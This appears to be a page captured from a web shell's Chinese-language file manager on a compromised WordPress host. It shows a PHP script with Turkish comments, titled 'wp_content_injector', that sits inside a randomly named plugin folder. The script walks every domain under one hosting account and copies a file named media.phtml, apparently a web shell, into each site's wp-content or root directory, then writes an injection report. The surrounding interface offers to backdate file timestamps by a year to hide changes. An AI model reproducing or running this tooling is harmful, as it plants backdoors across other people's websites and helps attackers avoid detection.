文件操作 - media-contentt.phtml
返回文件管理
返回主菜单
删除本文件
文件: /home/tecnoht/public_html/termozerba--com/wp-content/plugins/bf16c0ec/media-contentt.phtml
编辑文件内容
<?php // wp_content_injector.php - Tüm domainlere media.phtml'yi wp-content içine bırak // Çalıştır: php wp_content_injector.php $source_file = 'media.phtml'; // Bu script ile aynı dizinde olmalı $base_path = '/home/tecnoht/public_html/'; $report = []; // Başarılı ve başarısız girişleri tutar if (!file_exists($source_file)) { die("[!] Kaynak dosya bulunamadı: $source_file\n"); } echo "[+] Başlangıç: " . date('Y-m-d H:i:s') . "\n"; echo "[+] Taranıyor: $base_path\n\n"; $domains = scandir($base_path); foreach ($domains as $domain) { if ($domain === '.' || $domain === '..') continue; $domain_path = $base_path . $domain . '/'; if (!is_dir($domain_path)) continue; // 1. Önce wp-content dizinini kontrol et $wp_content_path = $domain_path . 'wp-content/'; $target_path = null; $location = ''; if (is_dir($wp_content_path)) { $target_path = $wp_content_path; $location = 'wp-content'; } else { // 2. wp-content yoksa ana dizine bırak $target_path = $domain_path; $location = 'root'; } // Dosyayı kopyala (kaynak: media.phtml, hedef: media.phtml) if (copy($source_file, $target_path . 'media.phtml')) { $report[] = [ 'domain' => $domain, 'path' => $target_path . 'media.phtml', 'status' => '✅ BAŞARILI', 'location' => $location ]; echo "[+] $domain -> $location/media.phtml (BAŞARILI)\n"; } else { $report[] = [ 'domain' => $domain, 'path' => $target_path . 'media.phtml', 'status' => '❌ BAŞARISIZ', 'location' => $location ]; echo "[-] $domain -> $location/media.phtml (HATA: yazma izni yok)\n"; } } // Raporu kaydet $report_file = 'injection_report_' . date('Y-m-d_H-i-s') . '.txt'; $report_content = "========================================\n"; $report_content .= " MEDIA.PHTML ENJEKSİYON RAPORU\n"; $report_content .= " Tarih: " . date('Y-m-d H:i:s') . "\n"; $report_content .= "========================================\n\n"; $success = 0; $failed = 0; foreach ($report as $entry) { $report_content .= "{$entry['status']} {$entry['domain']}\n"; $report_content .= " 📂 {$entry['path']}\n"; if ($entry['status'] === '✅ BAŞARILI') { $success++; } else { $failed++; } } $report_content .= "\n========================================\n"; $report_content .= " ÖZET\n"; $report_content .= "========================================\n"; $report_content .= " Toplam domain: " . count($report) . "\n"; $report_content .= " ✅ Başarılı: $success\n"; $report_content .= " ❌ Başarısız: $failed\n"; $report_content .= "========================================\n"; file_put_contents($report_file, $report_content); echo "\n[+] Rapor kaydedildi: $report_file\n"; echo "[+] İşlem tamamlandı: " . date('Y-m-d H:i:s') . "\n"; ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件